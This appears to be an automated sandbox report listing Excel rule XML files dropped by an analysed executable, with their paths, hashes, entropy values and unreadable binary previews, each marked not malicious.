Preview:	<?xmlR Z..@@.s.6....)I.r....Y............b..Y.....R..&...HX!&.>....S.a...\|..5.......Mj...{S.v...e..m.....1.]$`..KN31.A3.K....k..s.ft...2.f... n..[}gZ".M.7...[..&`.B.r.Z...81.]nps....Wd....O..C...Q...nx..ld.........J.U...p.....U.L..._.C..K...e...O.p...@..tqV.]..EQ#..y!......}"...w]...4......H...`......p}..%....)/UTz=..<$.z...?(.=C.z.-f'.@.=.{'#...:..$....<?P.),!Y1d..w.l;:......x...&.#J"UM..(.....{...DS......7...+s.....`U..DNE.~..].c.M...7_......2....<\Y46{.o.F..[V..8,...+....~....0........m).y$.DDp-..go.US..~.&P.....m.....~~.R#...V:....r....6.<y.....g....=...v.e\...!..Mh>0..cx.)O/..,.7%W\C.S.Y..w....o..Wh....+..TjJ`...s./.(.w.%....../.y...c.&.....f5f.S...).v.#f.JY(.....T.o...^5...C..H...}$&.W.s..w.g=.G....s&w.".....C... I.[...s.....ok.$....Y..(/.}..tb.j.\|..$n........=W.....3..P...Xk..V....."...0.Rk....:...'.....Vl.dF^...bR...jF3zD.....kO.ImT..........N.Z..K.z...m.^.....dPl.0.""3K/..Id.\..v..k.x.W.N.GF....eS..t....J..Ni..(yRu.=.O...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63038v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1261
Entropy (8bit):	7.847646483395175
Encrypted:	false
SSDEEP:	24:JaHAzJW/t+DjzJxm7usU4+CrBd9YwGdC/UC8dViGWXUQx22znsbD:tJu4jLXT4hBd3UdPi5XUg9nmD
MD5:	951ACAD140656EFAD1663D4F23CA485B
SHA1:	E24F6D8F0E790884BED4AE7E8B34EFB52D452900
SHA-256:	9713EF168E9FE11D47DE2E6CD171B3DDD8CDF83468A84A1CB4192C1EC76F2DBB
SHA-512:	24EAB46334AEA6D7A60AA0660D1A4EE7E8BB1C9CBF7F425F3A68FFD55046BDEE9325CB81C9502FC5BF59782E2537343CE0CC3C3AE8D4D366984FC61F99EEAECD
Malicious:	false
Preview:	<?xml.....X..W.DG)..v+\tj...V...~U.WN.E.......=............4.7...~.........q.1.g..nD.G#.7..del.sD.8...XW....&..Mw...XS9..5...c.^.B......t]+..{.......D...>....}.GZ.T.Gq.`.%...I;..{J.c.f......\.......F...i...+.a[........9..$t...@...<0.m.._;._.A...Po...IG... ....Zc\|m...P.bG_..9E.3...1L...T..l'<..&V..'.....x.t....bS...^.......P.....%.O..JN,.......%az...A....OlKK..!.P.-...E...aA$.n..U.).(......0.....).H. >..q.A...2y.By..&q.k....=..%...v..\....[...a^..p-i....-.>.I....Z....T.....qoL.......!5c..{.......B:8e.N)..L.J.......U!.?.M......d..I...:.f..a.[A....j\|h...o...QK.4`.....-..q....Q%..I.P.aZ.@..j.g/8...@.H..../H.....h3...G.R..g....c.X,A....^.r,.....\|...SBH....d..."+...[..S..@..F.U..8.....}..$.F.....+...X.<...V..G..'.......i....y.a2+.fC....8.m....5....m/n..?.\|.)....m).......mj.......$.CXK..~.=.9..$.\|.@..[;>.+.f... .>x..:.n0....JUH...V....9..I..RJ\|Vk.-.K..!}MXW.5.......y...r..7\.=..Q..o%..p.8...(W9............+%.m.....<.P.h,../......l.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63040v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1268
Entropy (8bit):	7.828597334363072
Encrypted:	false
SSDEEP:	24:uFLfq5QWnsxfYLxUWaeWNwaUmuRGxPRNtX0r8tNOxPE+soYhrD7m7gGZyG1OsbD:qiWrxfYkumuMPRRHOxPejrXwFZl1OmD
MD5:	8D050EE862C87A7922C90D9BB067B0B8
SHA1:	3F8F0B71CD037550CDF1AAA02A9EC8146E64520E
SHA-256:	896086BC38DB9450E7C032F3A3AAD335473EC5DF7E7BD1E7BE539E861C7A233D
SHA-512:	5DD573C79E7AA31FC5CF47C03F77B5C9C588EC45ED64E01916004A1F143C32AD36200D1219CBF6823DBE99627371A64DC9E7B13C6C477A3F22758C0A396A2999
Malicious:	false
Preview:	<?xmlc.QO"..- ........-rn3.....E.....aK.Pp.\|:.@...G.`...O..B.B...K...._...4.!/.0s......)L..@..^.G...&.D..1Yf.7j....{.6.ajxm!.A..:j.&.D.Q.....$......Rq.D.TOX.h..K#.....q..f.Q...F9.....=.m*...7.UZ.!.`Bb9.....y..l.....%...A..3...A`..r`0..X.?....?.7M.>.+.....Ts...J.....5d..l...?....cf......0....l3%.q.,....."&..s.!uCO.%.$E..NV.]<....)@......'jZ..^1..u.".....W.....w'. .-.(^..<V...7.d.O.[...gd.F...(I.^..N..fN<Qj.....t..O+...{.M.R..Q..0......pT...5R.8LT.q......{.YQ......21).L.k..s........._...A.l.....h....W....{...F-.X...s2....0.l....K........5..&....l..E.....,....9>....V.'m>1<..K.u.&...m.K......w/....O..R..:....9.]~.0.R_. -b%..=..<..G.h...-wq.O.C.J6m3..5..".W.@.............V.y.B...`."..NT...A.{IG.G.<.K....L...C@b.Sf..D.....h..u.....Q..)D3...p\.E.9.D1L.(.d.<Bw..\|~......5.5.......\|..j.....l......=.N.........'.Mj..8...^UJ..B-....A.......iP.F.......4B.+....Y..\}~.....8.vW.r.+...rA..XU.K....k..U.'.9.F%...(`..B....>..P0.H....n.".H.GE\|#m.X!.X

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63041v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1815
Entropy (8bit):	7.880582611095369
Encrypted:	false
SSDEEP:	48:7nSH2YzK65ry/9JtqOE2C8fInH9h9CCQCmD:OWAK65GVJrXInHrwk+
MD5:	E9614BB91D48CD5D973797F973A69632
SHA1:	395A2960D9F83CBE361C45AED1A07AB5F904778A
SHA-256:	91261D53F88AF07A54E9B460DD736A3EB3C53F89BD9F74FC12B66F4C1BC2134B
SHA-512:	FDE0715B432B32D553B12A7F073E5497C2630215E91168B5FB2EF0705AA312F0634E9BEBDDDE5FE03DCAF913E464E7EA2B1E6713A921BD4E142693D29834725C
Malicious:	false
Preview:	<?xml.s~g!.#.9.*&.W.T`.5V...._.,>..1^.j..]"P...1..7o%$v.I9.~..4.eB...X.....:..\|lP".~...m.q8.}=M/...dg.0.x../.Y....... .Q='Ow@6..g....B.......H.o.p.....e.m..7...S.&Q.M....#..=e.W.I..-p..2.r.)j.i5".......&3bu.'...b....]^.RW.1.[.#!~....^g....R...A1.~.%...[..BO.U9t.2h j.7.}.d.l.S"..<q#..;...C....M.W[.!..%...i]!]......@.-.....i..N.3.`.B.=q_u.OR...m-.......\|.5NU.....>._.#..N.Y.[..8..F9l..{.T..:.4 8Ma.b...i...f."l.....b..E...)..{.../.q.&40.D...0.....}._........_P.JPy8tk../N]..:....K{LW.Y..,.....qm.Gth.a.7.H..F..b...R.1D_k...UC.Q[..=.[..[..,(..IPS..(z.......f..O...F\...nUA..K<..!..m..1.."eT]FhPq;C.2...=.W..95..eW]\........!..o..@[..........Y.-..m...].z*.B9.T"....h....7.8TT...../.&d8)h...GP..P[....o.L..vB."{..^>..b..4.J......2j.0.@..E..^...@.bQ@9...../^!=w..u=.K..Z...K.D-....` ....@..9.]'....U.[......D.-X...T.9R.6;...zE.c..{..F./..Q..+.ER.......Rl.$z-...h/.!%..V.f..I..wj2...K.o....m..A.bH.-...............f.W3_.i.....\!..P..Z.4.{..}....{...2b...Lx7"

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63042v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.817708153466823
Encrypted:	false
SSDEEP:	24:Kd4TwnLOy5m95A8heV7o741t4FjxiTbClPSsbD:KdQwH5TaqOiTkKmD
MD5:	A0BB14D883D53C67AE665BAE7D8E9375
SHA1:	224A89134304FD30DDCFB1C10EFE5CEADB036D23
SHA-256:	9B38987BC695E0F14EA6004B1E3FD747A1ABAF18B35FD3F1B501DD4B3C8B7677
SHA-512:	8A82923F4D69A740591D1E1708DEBD476FF64F30F5D36400C9685E911CA7A719C22E61753DE026E658C61EBC0D163B4E388861D4090F843B6F4102E369397E71
Malicious:	false
Preview:	<?xml...\|....s.#..p.i...,.....'>A.).'...B..1.G.v[.S......d.82..Y.V@{iouL.B...<k.F)VWs..n........I.\|....@./.CUP.t.H.\|.r......x.p...C....1.~....... P......$-8-..j..eD.B....p.W.....xc#.>.wK...H7........L..J=M...j...s....`..d..u......HPu.P.,.......(r.....).....ud.}d.?D,f..>N.Zc..@j.^......cB.Al.;5..&..(4I5Ds;y...F.........]....:..v8....};...'!...Rg.0.J...kOK.?...Q..J....9..1'.J.W.E....R.Q...At.x.byW.......k]...6.[.({...].i9...{.].bTTg....s.\|..i..H:....tq....i...y..Y)q_..K...~....\|.x7..#..~......X...u.....R.......P......Q......+.8j.....0.udj...1..:n.m.58.^..q...t:51...3....&/.(.M.9.dL.j...........1.~....C.4.t.t.^..uP..N}.......e...h..D$....gD.z.y...S.&Y.[........^B..[n.%.#..o3..XF..H@%...r.7.Fo@0.....{^Ll.+....P....~\|F....$..K..........4.l.0.z(X.(..g>r.4#.&..-Ef/kR>..Y...........^K..Xa..:.q..l....e..J .2.o@#...+U.+.M......d.....a..G......!....o{j..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63046v10.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1950
Entropy (8bit):	7.910750064568749
Encrypted:	false
SSDEEP:	48:Owor2KKHv7hHbDXxJMpGKVfRU4jFR8eRAHmD:Ok/vtNJEVfRU4geRa+
MD5:	F755B6CB6A641FB520D1BD8418CD94F3
SHA1:	9CA63848A3BC11DA6E4988478F672985C191CAFA
SHA-256:	4A508AB8B20705329E44DAF4DC644538C699C51212C7CF131EA0A3CFCC54F45A
SHA-512:	598E05EB6396D805928BFE2F2638BA880EC9A03451AC1B210C0F64DAEB70F5617EC74BDB69C7AF3D50FB79E39105EF7C65243DBF066BD69892E9E208B5DCE56A
Malicious:	false
Preview:	<?xml..#..5......dSi..t..@..7...sP\|..o&...g..#..B....\|.c...{...z.>.o}.vX...=..v{)e>.s.\........}H....{zl...:.[..]/#-B.Pap.`..%;...?.= -.!.3._V.n.......C...)._....&.g....qB........u..-^E&.C.....l...o...T.+.8K.]{.o.&.'A.%.x}..hhE....{h.e`...V.....g......3\|..K....7....V..n,...9>..a..{u .?A..D.c.l7..>.J.-^...r.r...r1?R....z.....Ma.0.;........mu..".N.'/k.Vo]....w.w.................f.....E.e@.CX....pd....9I...Er....aP./..\.E.....W.er..+.QyH..0.u..Yb....."h.>.<...}..V..5........(,.Z.a.....r,g^.u.X...C.h..x......~l..W.....(..3s..S...4.Kr..@.%..W..5n.b.$....;L.o....&..Y.r!....C....(........z.A.pKmGCX0y.QY.~....v.s2...Zts..O....oY.p.(.......E.{.....n.Q~..8...h....B........~...y^..#...N.J....M7.c...W.T..`[\.]%..W..W#3jn.C.2......l'3.2.S....H......Az...vL..EVZ..K8..O......... ...c.X.:......G,.Q...4n.....Y...p..V......7},o2.Sc.z....U.... ..:..B...j...\|....r.ZFB.^+.7.?..... .!..d0t.......P@...:....u)..auE..y.S..NN...\|..Ul.-.z.AvS}F....RG}.lo

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63048v6.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.953983878848716
Encrypted:	false
SSDEEP:	96:TqeFWpu2AwfMtyaF+GhHzyLlY+IvKwLT9aotfHQhmhdMFSUVYG3+z+:2EhtyK+IAwLfwhmsFSGYs0+
MD5:	B00C98ACD13ABCC7B25175CA2B0096AC
SHA1:	B64B1B0647C47BB971F199FF04F533D20382C6B9
SHA-256:	D2BEC0484110CBC638185F3670208456F17382F00D95E452BD9F3A210BA399B2
SHA-512:	6D62DC1B21F8A21918BD7B7C015BBC44697C883FA2F6CEFC66E553D352E2C3660DCB590C3767FD49A2AC4C0AB9008EDCF55A4D6EF3B0F333EA0EE5CB211F578D
Malicious:	false
Preview:	<?xmlg@r...3....L....q..]....@bH..H~3M...Xx.........n.z...;..?.e...4.W.1.@..!.~....-.....&./M..D.....n29..m.N....].i...-N.....KfK....p.3.^..YT..B.;.uO.i3............c....]M$...+~.]...3.....{~.g\....5...f.AR...Z...:..+.s{......l.NF.B<.%.&.$M..<.P5S.A.T...n>......`V9....J..jHr......r4>n.U..g.t..i....P>..x..!U...n....08V.`...R...x..Q.~eY.......D.Ck4g:eE.4..4#.... .....!._@8\..=.M(.r.~..h..3.i...N.-.W..).T....>...>G.....2.{T7F\|>.{.;f.p...........z}._...x.q..........y."..b.2..?.......ki.....A.f.......9.9.DR.`...g.i.R..k.+lC..W.....u.M.&$@.p......S..Ic5......:...w^..\|.U....B.p.....(.{...]...Ia.M...G..T.T5...+.Z.Jo.ur..[......Cd V>.U.R......b.J.=.p.J~..e.L..5.....z.Y.....>..<.....y.=.eZ.zo.6tP.....?#.....l;...}i.'...L.s.t..........d)>..ib.......T...O...Kj.N...A....;.<..6l$..;.....x..}4V...>`..}...`Hcu...G...'%h...>-......P.,.w.........\|"&..H..L..k.\9Y..}..`o....g.n%..fi.b.=..k(n...Y..AS%.........'........{l..L..p)o...E.n.x...Z.....q..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63049v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1585
Entropy (8bit):	7.863592494291298
Encrypted:	false
SSDEEP:	48:VYAD+anC4XthIaBbmwEK+Ff25p8Xi1kyIXM1PB+mD:VJC2te5VwHc6kTXMS+
MD5:	D1F2831F7F3C62641A3A07AD40DB74EC
SHA1:	A44354308B0ADBFB56E6249B98BFCFB45E21CA35
SHA-256:	5F68743308A3ADCF059E5DA607A9C78D10B8A9380023F82E40E8DEE7AFE71506
SHA-512:	8F71740F7210828D881E2000F419283B8225219E1BCCD759AE84B931B8EA1A73FCCFC62150641454528209BD9FE3CE8194F3367B4FD5219D14880B46CFF790CC
Malicious:	false
Preview:	<?xml..\3y.S...L...9.....h/.NS%..y2.N....LJ.?...._.Hj%.Ou...$....S.....g......}{;.uS..........Q....C...'..{..,C`....Y..H...xa.!....}W2z.y.0. .].M9S.w#.....&.O.N...5:....3..J.....uf.oz..- o..m.x..h.....P)I;I&.2..N3..]._o[Th..E..H.a0.7v..0..0.\|\|\|W-a.Q..3..;..Y....}."...s.........G....:..".....L.I...,j&n.....'8.w.:!>.O.:..U2z.F.:)...3........'~..."... .^..T.c...f... ._o..!.O?:xB...(..m.X.%..;.d]I...q....+g....N.z.+..8U.@.N..u.y.`.v5.z...../I)...).%.Y..........=qI ...ms.?.nA\|.7..y...l..[...4..'..Ip.\.x........&....\|Q>.B.;O@.P.\|..{...".;.........'.H.\...}..@A....0zzf......Q>k..Q....Z/x..d.e...r.j.t%9hG.t".f.....S.w...b....]......a;......;.8..o..9R{A.....J.u.p_#.........LS...`.......\I.?5..(1........(..........UP".......}.xlOg..b.........^.n......L..G.N..#.\|.M."..<..h..M....X.<EfR_.d.......-\,.5..6..%.QgG.....i....t-".R.?\|9i.b/JR<!....".G..wL.B.a.qP.m.V.....9...)..NSs.>+.U....f\|O.[....HO..Y..go...W....Zg.0...+...g.y..w.Qc-..j..'.R...~m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63051v5.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1939
Entropy (8bit):	7.884994406129736
Encrypted:	false
SSDEEP:	48:GOKeq5ui6qsK8bl2PGq+FjPv7byJwu8BPlWcVpvmD:GO1q5u4sVYPGq6jXS3864pv+
MD5:	3FBAB1F4D3AF86711652E72ED91EF1AA
SHA1:	6DAE64D31906F69D5EFCABE837B25AA54661D7A0
SHA-256:	07A1EDAA823448A337F03B68597F129AB7D25815B4D424F0FBB3F52D045DB5EF
SHA-512:	41BBAAD85982A831175B20F6CCC06A2CEDA8610E0E54752255DB65C17267BABC41AED0775673C4E86048DC5E2EE6338164FBCC73412F24892944E3626F1447DB
Malicious:	false
Preview:	<?xml.........^>.w.&F.\.;...[.....xm..Z.y..M..27...X..t.`...e...[B..Y4..\|...c....y.....<....F..4..G.^<rM..s.\|...P...\\YPJ7.....+1;..M../.......:......=.:=.&.5.N G..-.U.h.O.22i..O...e...C..A...`.S....?..C.q^.\.k>.....Ci.......a@.3H0g.....:..V...Y..9.p.M..Q...A:.a.RuRC..{..D..n1.6c.......B.S..&...4.$. ........F-iqy.lu..@.l....&"...f{..bkO.....ER5.Q.I.$..<..t<..v....eY.[.^..b...!>......}.......9H........H...h\|.....u?....bp]#k.G.y......V.d>.9..&.;....q..9FM;._...'.n.........Pu.{sB}\..2r....:..........^kk#...m...T..x#.@f.m.kfW"+.~..<..,.../...........[?.p...l.[Z.,.EQ.H.F.........J..nC..UY.e....=.......&.G....n...X.%.]{.d^...h.0X......Iq.../......z..n.....=6..q..O...B..8:a3c.?.G.$e!..Dd.j..\..N.*.{R...}.%.......r..51B.rP.........,{#.9.!..&G...+g.=ay... .L..zt.2....y.1....Z.j.$X..V..Q...(.D1..dg.%........4.4..i.Tk....M."..?...N.:.]......S...........m\L..3.n\...XK#..E..9d....G..u@......n.Ge.m..#.%.....:jU....@i.1...@.Hn.6....C.t.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63052v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3091
Entropy (8bit):	7.937409694578737
Encrypted:	false
SSDEEP:	96:6+0yqIC1mFGRa9II7GHBxB2N9vyOsiks+:TqP1mFGRa9IIyHBxB27jb+
MD5:	A58E6FC9A60033BB09F1C3E795446FD3
SHA1:	5DA6C2C207F0326C7689E3238B25CAC239650981
SHA-256:	CD9D7E2732613E17E6512A639291F56490C6F7550B5C1631A157021E86880F91
SHA-512:	ED90ABEAB4698F6E2FEA24CF7EEE7A755EBACE8F928D608B2623FD24BF03B749719007115776467E06777E6936FEFBE1FB4EC8B66EFD080025991DE065F33649
Malicious:	false
Preview:	<?xml(}.a.7m.^n......`[....].O&._.>......?..k.#.-Y.<..:....<....q.M...V.6.:.u.E.G.....].b..t.o.....j..}.CL...v&.N.I......\|.7........-;64...g=W.t.#....uI$....wM...\|R.,....t.K&....kB3{........a.cAx... f.........B7..] 2... .z>.....\|..G..s>..j..........k....+..5...,.bB.b.l).\|j.G...>...>..b........r....w.Z}...+E.../..FZ'.....C...@..OD.$t...Vt....J..].....mD.....M......:...c>.).8..\|....Nn...6.....c..s..uC...A{qX.!5....N"DZ.T.t...sj.t.e,...z.....2.M...n..\|.CPh9T......o..O...kp..2.?.2..v......^.on..<i..a.ly...2.7t..O..L...W...6&.sI.f..Xv....\..6;d....H...r..1FFX...}.f.qx.T.6c{2..k..r.b;.....q..B.......,V.C+kS{&.OX.z..,+..)......%....P..,..B...S-....../7.....W...5d/....Dc..f-..B..\|.9.S..p6.~.V2{K......m..3..I..=...w.e1{.XXX"..~..O...)GPd..`...&.. .^...6...JZ3Z..@......D.2.&.f.....`8.......<...9.V..u.m..N...p..e4....^.v.....}....n.Z....L4....a.=O..k..Fv..hf...?........>4.w..3...^,...`....u.....-:/....w.R..z...Z....=^..=..*5.W.....a.5.-,V.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63053v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.765293973818626
Encrypted:	false
SSDEEP:	24:cwnMIgY+NNsSC17IYC/2qr68F/BSl58Ds5scx7HJsbD:lnMRqbs0qr68RBC9xrJmD
MD5:	1D8236E8504DBA81BC09371D85CDA572
SHA1:	88566D49AEA821E6E66A90A62758BD6A4DB44749
SHA-256:	49BBBF0547848895B1C72A6D4CD8400104200A62739D5682F3AEB2C4055FA105
SHA-512:	349801215C01D9BE07F505486F65BAA36A0D4866D50977DB7014FB1E8F88039A589635698B04207AFEEEEC05EA9BA2320FCBBDA0CCFA74415722CB03FCCE8074
Malicious:	false
Preview:	<?xml..F.=2.{M.gj....UlD.Q.#\5...6..f.GxT.6..:.w.i.}..}....Z....l!.5.z..?.4....MY....m.a.m.l..o.tC.f./k.>.Q..."<>9..H......t..8\|-..U..?.=..h.[...U0..l.N..".n.....EnM.!....o.X;==.c..K..xF..].d...p..J..N..+.3.6'T...F.x..#.xb."...p...+7.\....h.`1lme...N........].....6.......Eu..Y..:....jaB.Z\..zR..:...d.p...p..G..a..@..H...f.H..^~=..8}...Z#@.}.w.E.#.....m.E3.R4..o.9.....].....[.....n...h.[.I..xD..>~e.......5..;U..........`....#..B..S.?...X.....h.f.u.&.;^]..x....L..=.-.....E.k..#......h?........\|.K_.h..YD...^....?...F5....i\.(N...M=..H.Wf"..m..\|+L.......#.n.5.I.....Z..2.:....K\....f......._..x..w\.p!.".p &G.7/@n1p@T.....6.......x......2.9+\9..84....9...........[.mFg.....l.........y...:)(...a.a,...M.~.kRV7..uZ..Z.F.....b....p?7..2.JX1.{..q..%..GA0d....m{....(/......>..d.....y..4......'9c..S .v...-i..-.p...k^wG..(.....f......bg."..e.....Q\|..{.V.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63054v5.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2404
Entropy (8bit):	7.913262119843861
Encrypted:	false
SSDEEP:	48:HznpjWDam3F4ZaNACokXdKMuGUP3/QrhEUxU/DeFNNWaHL3vnk9JiemD:TnpjWmmfAWXkBt+2xeNWyzk9z+
MD5:	18F26807F51EB32E5926A17C6520B566
SHA1:	FBDDF451E5E3ACEAA0A49BAFB9B9F49BCCFF1B44
SHA-256:	96BF96F1EB03278DDF1A3ECAEE1EF886B1F70C4D519BFF7A3A2B69E5BC1795C9
SHA-512:	216602169F8A88C7DBD12269161156A8CD069D0ABFE9844B17F88A6B006A68B5FB0615EE12C9460A4A09F83D8B72A19B8353621D075E0258F6D42FF2E398F27F
Malicious:	false
Preview:	<?xml.k.......Gu...[/..C+...7...C..'.#..6..?.6@G...."..Q.x.Q~..H.O..c...3.{...gM..g...)%."..g_AM-....,..n....@k.$.\...a...Z%d..l.../.R. ......-s..N.l.......PG.. .p.."..wg.............\3\S.2}09>.K.#..?a.?..L.j..U"Th7..~..L.....3L!...J.=.....#.....U.D. .`.bF.>..!..?.......G..LV...9.WY...`NA....G2.m;..+..?O)g..t..b..8......P.=..=.G.e.F..%.Y..>.@M..x/...{...-....c[d.. ....1.=........{..V.i..R...K. ....Y.u ].........8.....lK.%../R..W.3...e.n...8)".S.=..+...~...'.\..#.Fn~.e.S{]...)-..bM.C..h..q..+.<...\8O....+.s%..B.-.U..w.@z.@.{..,..~..Bafb..8u.A....n...9.M...6....U....aw......._.hRY....khf>....2h.$..v....du..2.....!......H.....^A......d~.Un}..Z.Q".J...^.N&....K.?sd.....f..f7....(q.5D.jEQ..:.W.W.\..o..8.^6..\|.....5.....v.... ..[."..?x.=.e........yUX5.($X7.....I.v.*tV..2).Tbl.oZ.2.@........P.Q..c.]\.y,.Z.W. ].......P..Fy.....v.d.J?....5..dLr.....% ..J.......<.f..<...(......S4...Z.Z.a...t.1.k!w.DK.G.+...]f...8....Fq...k..,@Y..}..H.....`:.[w0..k .Mz.z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63056v9.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3203
Entropy (8bit):	7.940982015480196
Encrypted:	false
SSDEEP:	48:DeHnktPAOsQrlxRlsjtKfln+PciXWLOcji47dn1jx3Pl25qhSRguiOq2m3HicmD:KHktfVlX+jtKNgBqOcjr7dVN4D7g3HL+
MD5:	F6E52E3D85A891637914EAC45DBD266A
SHA1:	DDD5E7689918C17FC832168E3AAB66B94A9B1D0E
SHA-256:	18137EEC56254D37234064A8765891B30306B1788D9CC4860140DC963892447F
SHA-512:	444E2C534E46FE7F18312D7ACF58CDD2FB423966357B934DFC6A381334901B37C7D0B94D1064C3BB47ED74FFAC0DD02B9C6C21C044042D114A34D2DA8F9C5581
Malicious:	false
Preview:	<?xml....+.,........n.uE...t..l.+....B....u....T.X.....{t...Xv.^..B\|t...n?....6r....2:.!.k.rY..='.!fFVT...M{o.bZ.AL..N...S.....G....A..}@V...i..P.@M..5..L......:.c!R..P{.....X...%..^S..C.......Es..8......;o......7.tZ9...L9....Yc...Q..v^p..%...X.stW.......A{.3..3.#\|.^6{... o3...Q....'."u7...)...U.........Eh..s...G{D@..\|..<,....hS...f....6.8.......y(..Wq..I._w.k0...6........bK.._h.2......F..g...\f..0Wx..wQ.H!..c ...R....{3u.S....n...q;.85-.WJzE.....)DX.IL.1>..>e....u..2d S...fpt1../..T'F7m.9...<........V..E..% CC....=..M.p.e...a.G~.Si..d..K)co~._.d..l.B..pJ..LG./...5r..1;.B>...".d.w.y!'.]<.8...Y..6.a.!....Dp..q..\.i.).G$!..i.......G.P..?\|..:.rt.w[.....v..*-...S;.......G......5.}.."=.g..Nl..>..P62.....iUb...%:.;]..3_.....a;z......7..f..[.......?L..3.b..X...}..O...`..m..X.v^...{.)G<._.....x.;.{..JoE."....:J...P........V7..P...'.k.(ic_3.[%<.....0U.T..K.H....fi.A.(...Xwg@X.k`3r.F...........m....){...pc.9&......B..TGJIk4..]..~.].....j....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63057v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2512
Entropy (8bit):	7.927252080548395
Encrypted:	false
SSDEEP:	48:Ptk3OPrCmjrf0ZFkLgqIn+LucdM0qLxzZQKvOPzj4OIKQDge5BHjbkmD:a3ODCmj7UkC7OOLx+dYhDgWjA+
MD5:	DED0A399373B8D7EFF8D36C666105B9D
SHA1:	194FCBB8E6CDDBF3BFF7927299583C2D8F7ADBA1
SHA-256:	FE6A541D44F8F3CA6BA7B2F1577514CB6FD5A392173172CAF79348AE9B2DEFB6
SHA-512:	2570FFB0261DF4B87F6FF679C7C14DBA9122D6974F7C5F44076D69C066ECCF7D21C4F54298491ECCFEBA10ACAECEC1C46E9ADF98B3E9530BAAD222B0FB2AB167
Malicious:	false
Preview:	<?xml...........WT.V<w_O............:I......7.1../..9.a)Z.c^'=k.0bb.....g...x...(..f.Z~.....!.f.uA...N1....4#..`......#..}....C.H..S..a.^.i.$.\|[....V..........,...xH..._.."?...P............~*.......L.S.....\...`K....hT$......7n.]%..8.#..#?.Y.._.d@..=.7........x..........1.V.p..$..J...o.6X.4H....(e..V...-W...s..n....<..O.qb.Ud.?.S...w..A.CD.ci[..e6G.m.....D...W.A.%A.l.U'.:...l.P...{{..GZ..OE...J..&5.NRf..>..O....1..C......>.B.F.XM...n.i$lQ.M..Wi.....qe......H...\|.].4>.\.^A...;.l....<{0e^<n.f....Jte,\|.&..p...9L.#...h.QX]...\|F...J.....0.....o...]..X....G=....k]...l...W. R...%.ro.t..7...,...E...Q.0.A..&rF.......<.w$..w4..B.=v....z...7MX.....$.......'9...G..h...C_.)5._..S^j.FKo..8.M.sN,N.M..R...l.+9b..[R..!.g...IS.Nv8.v.nj. .+..'.O.4.<.....p..5O....E4Z\|.Df.>.g..#....5-+.e.....BG..\|...d'..g.A<.Y.0...(.....u...A."u...O....:%._O.P~mG.}86.. .D.(Oc..!.Z...zYV....(.Kvq.....g....M.8...Gz.":... .........}.a.hg}!..........z{.C9...6.4..Q^.q@.m0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63058v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1247
Entropy (8bit):	7.831950034117509
Encrypted:	false
SSDEEP:	24:Uh7U3QXCJ/vZHiVHUsawpWs85FlogOdGnzDBF7wON6ZkqJsbD:Uh7QJ/vZCVTt85TAEzVX6ZBJmD
MD5:	2C04502DCD3541E54C6062B9DF1B0281
SHA1:	985C1579CA422D1E9EEF832D6B992A13275BC87C
SHA-256:	6B7C3B8701D0AEC665B9EE6E4FC52A8D3ECEB0FB804B1E829CE3039F709B8155
SHA-512:	437CC21B09DC3FB4DDAFD1B9905905229968DD92CA1273C8098CF24DBD87F433508C0F34D0F4A9AB6F71B68A77E02D21BB207094B47BBD6F4DD2B5C5D7BF8CDD
Malicious:	false
